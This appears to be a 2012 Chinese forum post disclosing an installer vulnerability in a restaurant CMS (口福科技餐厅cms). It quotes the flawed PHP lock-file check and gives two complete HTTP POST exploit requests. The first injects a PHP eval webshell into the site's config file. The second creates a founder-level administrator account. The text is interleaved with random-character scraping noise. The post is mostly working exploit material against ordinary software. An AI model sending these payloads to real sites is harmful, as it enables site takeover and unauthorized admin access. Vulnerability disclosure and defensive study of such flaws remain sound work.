找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2015|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
5 s, v5 y+ o3 b) ^( Y# p' u" e% W, i0 K0 G7 L1 A! J) g
<?php3 _) A( A/ r8 p
if(file_exists("../install.lock"))0 a+ v! e7 U) k% m* Y% Y
{* V$ D$ k' Z7 j/ d/ B
    header("Location: ../");//没有退出
" i+ p' T. C' q' `3 X5 `8 w4 z1 j}
# q0 j/ c& i0 M/ G               
1 x7 \) w0 y0 P& x% y2 q2 g//echo 'tst';exit;
$ w$ \* R( ?- Drequire_once("init.php");4 {/ Q3 [1 L7 i
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)) z3 K# T9 `: x& B7 `2 R: z3 z3 |
{
* j$ X3 x: Z6 ]& A7 o9 ?可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。# n- `! Q& S; n5 N( f" H

6 @' J& D# [( b1、getshell(很危险)& I: Z+ V" J& y' `
if(empty($_REQUEST['step']) || $_REQUEST['step']==1). \( |- R' ]% M  y% T  Z& R4 W
{
0 r" ]5 \* p3 z5 P$smarty->assign("step",1);8 f& L  u1 ?/ d3 J$ Y5 s: a
$smarty->display("index.html");
  X/ K" U5 Q  |}elseif($_REQUEST['step']==2)
. j) g  i. N/ o9 W: y. }{
, Q) }( ?! N/ f8 l' H! J7 x    $mysql_host=trim($_POST['mysql_host']);$ L# [6 r& b+ f1 u9 X5 Q+ z- X& m, |
    $mysql_user=trim($_POST['mysql_user']);
  w1 X* ^9 C3 l/ B  d+ z! O4 g' e# B    $mysql_pwd=trim($_POST['mysql_pwd']);
/ S* J! n5 g) |7 J  j2 H  u    $mysql_db=trim($_POST['mysql_db']);1 P8 _) Y# k. ^+ P. K. O
    $tblpre=trim($_POST['tblpre']);
+ M2 v9 p1 \; U8 E7 Y    $domain==trim($_POST['domain']);" j7 a2 C( Y: v+ W
    $str="<?php \r\n";
; j  h9 B  x# |' K: C+ N9 G    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
: o# k+ F/ |! o& X. ?    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";' p" V. E! z2 o) o# Z! c1 O
    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";  p- j! d% T+ a
    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";! B# I( R) D& ^! O+ W) k
    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
! v. E  s" M0 u+ I- _1 x. \# [    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";" z6 H4 k  \9 Q3 S  h
    $str.='define("DOMAIN","'.$domain.'");'."\r\n";
& a' n" v/ Y0 \+ k9 ^    $str.='define("SKINS","default");'."\r\n";( N: r% ?& ]' w. s
    $str.='?>';
3 r; P( F9 I: k2 q  L& q    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
1 _& F- p# Q1 ]& Q5 F7 C0 u  H2 `5 P# ]% ^上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
' x- u% N' |- ^; q* uPOST /canting/install/index.php?m=index&step=2 HTTP/1.13 Z( {6 |' J+ v( e% J
Host: 192.168.80.129) O6 u) f6 U2 v  b
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
, q% Y$ N1 i8 z& y( d8 ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" j% j+ p5 |+ m9 G
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
. P6 q) x8 {* DAccept-Encoding: gzip, deflate
7 B& d$ l. q; M0 o5 v8 t. EReferer: http://192.168.80.129/canting/install/index.php?step=1* J/ R. l6 U7 {7 K6 [# o
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
5 l' {* W( c. j4 L. E) `Content-Type: application/x-www-form-urlencoded6 p" s0 t  L- V* k
Content-Length: 126
/ Q6 x# P2 |: K- x4 k  h         
) ~5 b8 S  _. u+ _( Rmysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
, w0 a& \, w! P- O0 V但是这个方法很危险,将导致网站无法运行。; m; @$ C9 @; W# L& }- q
2 c6 T1 z7 l1 [+ l; m3 L
2、直接添加管理员
' C9 C* I( f5 S, Y) `3 i8 R3 r, N+ I, |5 H. ^% o$ n
elseif($_REQUEST['step']==5)& p  e9 t4 W) r
{" s& V: c1 m8 t8 h- c2 r5 {
    if($_POST)' y; ^6 G8 A+ A4 \; Z
    {   require_once("../config/config.inc.php");
" }+ ~9 `* B, |        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
" I9 _! Q5 H- J2 V3 k        mysql_select_db(MYSQL_DB,$link);
- q) R) N3 J1 P, d' \9 Y8 o  I% q        mysql_query("SET NAMES ".MYSQL_CHARSET );
- Q5 }' i3 o/ ~, `5 o. a1 _$ N# W         mysql_query("SET sql_mode=''");* {5 M: J" v: `3 E/ U' t; Q

% J3 p+ S. @5 D: A# p5 j8 ^ $adminname=trim($_POST['adminname']);$ N4 M" V; u$ `. j! H
        $pwd1=trim($_POST['pwd1']);& X& N. p8 N) }& ~) `+ _
        $pwd2=trim($_POST['pwd2']);
4 Q3 s) `4 ?8 }! d8 q' u7 d9 n        if(empty($adminname))
' _! F% e# g8 @, w. T        {
4 K- y8 T! \. U5 A" I' E! V) Y  y6 B8 s3 E3 C" |
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
/ v5 s$ M9 x# d) H7 Z4 M6 h$ r- g            exit();4 ?6 j2 N$ B6 O8 m
        }
  A- A( R5 A# c2 P        if(($pwd1!=$pwd2) or empty($pwd1))
8 \/ Z9 R) y( {9 [; V3 x        {+ P; w9 N' w5 E1 T+ c9 _. M
            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出2 o5 }$ W! j% p: ]4 r4 i4 Q
        }; R7 J, p2 \2 b7 `8 I  ]; z) t
        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
$ J% E7 e: K. b: l5 e% ~8 V    }
; h5 F( F5 J( f3 z这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
' a% h7 o2 o+ I6 X1 S: rPOST /canting/install/index.php?m=index&step=5 HTTP/1.1
( l- a; @6 N- l# Q* p' bHost: 192.168.80.129
. a/ O+ u( |" G* ?0 T5 i: z$ O+ DUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
( D6 U& ~* G  V. Z# s: W% q( ~9 nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
( m! ?- m( I4 H, }' i6 wAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
4 r$ S( T# C  c% qAccept-Encoding: gzip, deflate
# K$ I0 s+ z% M+ _4 ^% nReferer: http://www.2cto.com /canting/install/index.php?step=14 H* B% h. N9 d2 z8 E4 Y+ K+ p* R
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42& O( ]7 T  e7 V' ^9 }9 A! Z6 d
Content-Type: application/x-www-form-urlencoded$ t& b: O$ p0 n2 P
Content-Length: 46; J8 C+ }9 p( J9 v4 D  ^0 L2 U# S
      
" ~7 i0 u- Q- Zadminname=qingshen&pwd1=qingshen&pwd2=qingshen​
/ n4 a' o" b+ P: `& T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表